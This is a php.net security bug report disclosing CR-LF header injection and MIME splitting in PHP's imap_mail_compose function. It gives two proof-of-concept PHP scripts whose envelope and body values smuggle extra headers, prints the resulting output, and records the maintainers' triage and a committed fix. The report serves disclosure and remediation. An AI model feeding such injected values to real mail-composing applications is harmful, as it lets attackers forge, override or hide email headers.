php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #80710 php imap mime crlf header injection mime splitting multipart injection
Submitted: 2021-02-04 12:14 UTC Modified: 2021-04-27 06:05 UTC
From: martin dot ortner at consensys dot net Assigned: stas (profile)
Status: Closed Package: IMAP related
PHP Version: 7.4.14 OS: cross
Private report: No CVE-ID: None
 [2021-02-04 12:14 UTC] martin dot ortner at consensys dot net
Description:
------------
Note: I've contacted the security mailing list before which wasn't very helpful and, after some time, asked me to file an issue here...


A fancy "rendered" version of this issue can be found here: https://consensys.net/diligence/vulnerabilities/private/248cuiqv8trct7b1p85ewx9pm2vj9w8vm6e19a5rxdij6u5kge59koj8olr98yde


## Details

### Description

Multiple CR-LF injection points have been discovered in the PHP extension `imap`. The library's method `imap_mail_compose` (and possibly others) fails to properly handle `CR-LF` in header fields. `php_imap.c` does not check for `CR-LF` sequences at all but in some cases (namely injections to `From`, `To`, `CC` and `BCC` header fields) the underlying - and quite dated - libraries `c-client` and its `rfc822.c` MIME implementation returns text indicating that invalid input has been passed to the library (`UNEXPECTED_DATA_AFTER_ADDRESS`). The fact that an injection may have occured is also silently discarded by the php wrapper `php_imap.c`. The checks performed by `c-client` are insufficient and the library is pretty much outdated, hence, the concerns about the general security of the `imap` extension.

The `imap` extension is typically not enabled by default (pending distros decision), however, it is still part of the `php-src` codebase. We stopped looking for more issue with this library, however, given the fact that

*  `CR-LF` injection is possible as shown with this vunote
*  `c-client` and its components are very dated, the code-quality is not reflecting best practices and it is highly likely that the library contains worse issues than injection vectors
*  the extension is not enabled by default
*  there are discussions about phasing out `c-client` (https://bugs.php.net/bug.php?id=78572)
*  the types of issues recorded in the tracker underline the security concerns of the 3rd party library (https://bugs.php.net/search.php?cmd=display&package_name[]=IMAP+related&order_by=ts1&direction=ASC&limit=30&status=Open&reorder_by=ts1)

it is recommended to warn users of using this extension due to potential security concerns, phase-out the `imap` extension and deprecate it as soon as possible (https://www.php.net/manual/en/extensions.state.php).

This vulnerability may allow a malicious actor to inject `CR-LF` control sequences into the MIME-Message that is constructed when `imap_mail_compose` is called, taking control over MIME headers, adding new headers, overriding existing, or perform MIME header splitting in an attempt to censor following headers or leaking them with the MIME Message Body.



Test script:
---------------
### Proof of Concept

#### PoC #1 - MIME Splitting Attack, Header injection, MultiPart Header Injection

* Note how MIME headers are injected `X-INJECTED`.
* Note how `From, Subject` is split from the rest. see python `MIMEText` parser output below.
* Note how the multipart-mime now has multiple `Content-Type: X-INJECTED` overriding the original.


```php
<?php
$envelope["from"]= "joe@example.com\n From : X-INJECTED";
$envelope["to"]  = "foo@example.com\nFrom: X-INJECTED";
$envelope["cc"]  = "bar@example.com\nFrom: X-INJECTED";
$envelope["subject"]  = "bar@example.com\n\n From : X-INJECTED";
$envelope["x-remail"]  = "bar@example.com\nFrom: X-INJECTED";
$envelope["something"]  = "bar@example.com\nFrom: X-INJECTED";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";

$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream\nContent-Type: X-INJECTED";
$part2["description"] = "some file\nContent-Type: X-INJECTED";
$part2["contents.data"] = "ABC\nContent-Type: X-INJECTED";

$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;

echo imap_mail_compose($envelope, $body);
?>
```

* Output: 

```
From: joe@example.com, UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
Subject: bar@example.com

 From : X-INJECTED
To: foo@example.com, UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
cc: bar@example.com, UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
MIME-Version: 1.0
Content-Type: MULTIPART/mixed; BOUNDARY="371156484-1425523733-1593788218=:11383"

--371156484-1425523733-1593788218=:11383
Content-Type: APPLICATION/octet-stream
Content-Type: X-INJECTED
Content-Transfer-Encoding: BASE64
Content-Description: some file
Content-Type: X-INJECTED

QUJDCkNvbnRlbnQtVHlwZTogWC1JTkpFQ1RFRA==

--371156484-1425523733-1593788218=:11383
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Description: description3

contents.data3


	
--371156484-1425523733-1593788218=:11383--

```

* Output from python parsing the MIME message generated by php.
  * Note that headers are split into the body
  
```python
from email.mime.text import MIMEText
msg = MIMEText(mimetext_from_php)
print(repr(msg.get_payload()))  # only print payload to demonstrate mime splitting
```

```
'From: joe@example.com, UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."\nSubject: bar@example.com\n\n From : X-INJECTED\nTo: foo@example.com, UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."\ncc: bar@example.com, UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."\nMIME-Version: 1.0\nContent-Type: MULTIPART/mixed; BOUNDARY="371156484-1425523733-1593788218=:11383"\n\n--371156484-1425523733-1593788218=:11383\nContent-Type: APPLICATION/octet-stream\nContent-Type: X-INJECTED\nContent-Transfer-Encoding: BASE64\nContent-Description: some file\nContent-Type: X-INJECTED\n\nQUJDCkNvbnRlbnQtVHlwZTogWC1JTkpFQ1RFRA==\n\n--371156484-1425523733-1593788218=:11383\nContent-Type: TEXT/plain; CHARSET=US-ASCII\nContent-Description: description3\n\ncontents.data3\n\n\n\t\n--371156484-1425523733-1593788218=:11383--\n'
```

#### PoC #2 - Remail

* Note that we were able to inject the 1st header which basically allows us to perform a splitting attack and set arbitrary header fields - we are basically in full control of all headers. `X-INJECTED-REMAIL: X-INJECTED\nFrom: X-INJECTED-REMAIL-FROM`

```php
<?php
$envelope["from"]= "joe@example.com\n From : X-INJECTED";
$envelope["to"]  = "foo@example.com\nFrom: X-INJECTED";
$envelope["cc"]  = "bar@example.com\nFrom: X-INJECTED";
$envelope["subject"]  = "bar@example.com\n\n From : X-INJECTED";
$envelope["remail"]  = "X-INJECTED-REMAIL: X-INJECTED\nFrom: X-INJECTED-REMAIL-FROM"; //<--- Injected as first hdr
$envelope["something"]  = "bar@example.com\nFrom: X-INJECTED";

$part1["type"] = TYPEMULTIPART;
$part1["subtype"] = "mixed";

$part2["type"] = TYPEAPPLICATION;
$part2["encoding"] = ENCBINARY;
$part2["subtype"] = "octet-stream\nContent-Type: X-INJECTED";
$part2["description"] = "some file\nContent-Type: X-INJECTED";
$part2["contents.data"] = "ABC\nContent-Type: X-INJECTED";

$part3["type"] = TYPETEXT;
$part3["subtype"] = "plain";
$part3["description"] = "description3";
$part3["contents.data"] = "contents.data3\n\n\n\t";

$body[1] = $part1;
$body[2] = $part2;
$body[3] = $part3;

echo imap_mail_compose($envelope, $body);
?>


```

* Output: 

```
X-INJECTED-REMAIL: X-INJECTED
From: X-INJECTED-REMAIL-FROMReSent-From: joe@example.com, UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
ReSent-Subject: bar@example.com

 From : X-INJECTED
ReSent-To: foo@example.com, UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."
ReSent-cc: bar@example.com, UNEXPECTED_DATA_AFTER_ADDRESS@".SYNTAX-ERROR."

--371156484-1425523733-1593789098=:2410
Content-Type: APPLICATION/octet-stream
Content-Type: X-INJECTED
Content-Transfer-Encoding: BASE64
Content-Description: some file
Content-Type: X-INJECTED

QUJDCkNvbnRlbnQtVHlwZTogWC1JTkpFQ1RFRA==

--371156484-1425523733-1593789098=:2410
Content-Type: TEXT/plain; CHARSET=US-ASCII
Content-Description: description3

contents.data3


	
--371156484-1425523733-1593789098=:2410--

```

Expected result:
----------------
### Proposed Fix

* Long term: remove the `imap` extension, discourage users from using it.
* Short term: input validation, reject header names/values that contain context sensitive control chars (`CR-LF`). Note that this is not going to address the general security concerns and quality of the underlying `c-client`.



Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-02-04 14:05 UTC] cmb@php.net
-Status: Open +Status: Verified -Assigned To: +Assigned To: cmb
 [2021-02-04 14:05 UTC] cmb@php.net
Thanks for reporting!
 [2021-02-08 12:16 UTC] cmb@php.net
-Assigned To: cmb +Assigned To: stas
 [2021-02-08 12:16 UTC] cmb@php.net
While I generally agree that it is bad that the imap extension
still relies on libc-client, these header injections are clearly
an issue with the PHP binding (namely imap_mail_compose()).  For
the cases where we use rfc822_parse_adrlist(), this already can be
seen from the parse errors which are even more clearly revealed by
calling imap_errors().  For other headers, there is nothing to be
found in the documentation of the rfc822_*() functions which hints
at some header injection prevention.  So this looks like API
misuse.

Full patch against PHP-7.4 (see next paragraph):
<https://gist.github.com/cmb69/bca3e03582e5ce79c594b0ce57b06b92>

Anyhow, since the missing header injection prevention for the
mail() function has been treated as a regular bug[1], I
think doing so is appropriate in this case as well.

Stas, what do you think?

[1] <https://bugs.php.net/68776>
 [2021-04-27 06:05 UTC] stas@php.net
-Status: Verified +Status: Closed
 [2021-04-27 06:05 UTC] stas@php.net
The fix for this bug has been committed.
If you are still experiencing this bug, try to check out latest source from https://github.com/php/php-src and re-test.
Thank you for the report, and for helping us make PHP better.


 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 12:01:31 2024 UTC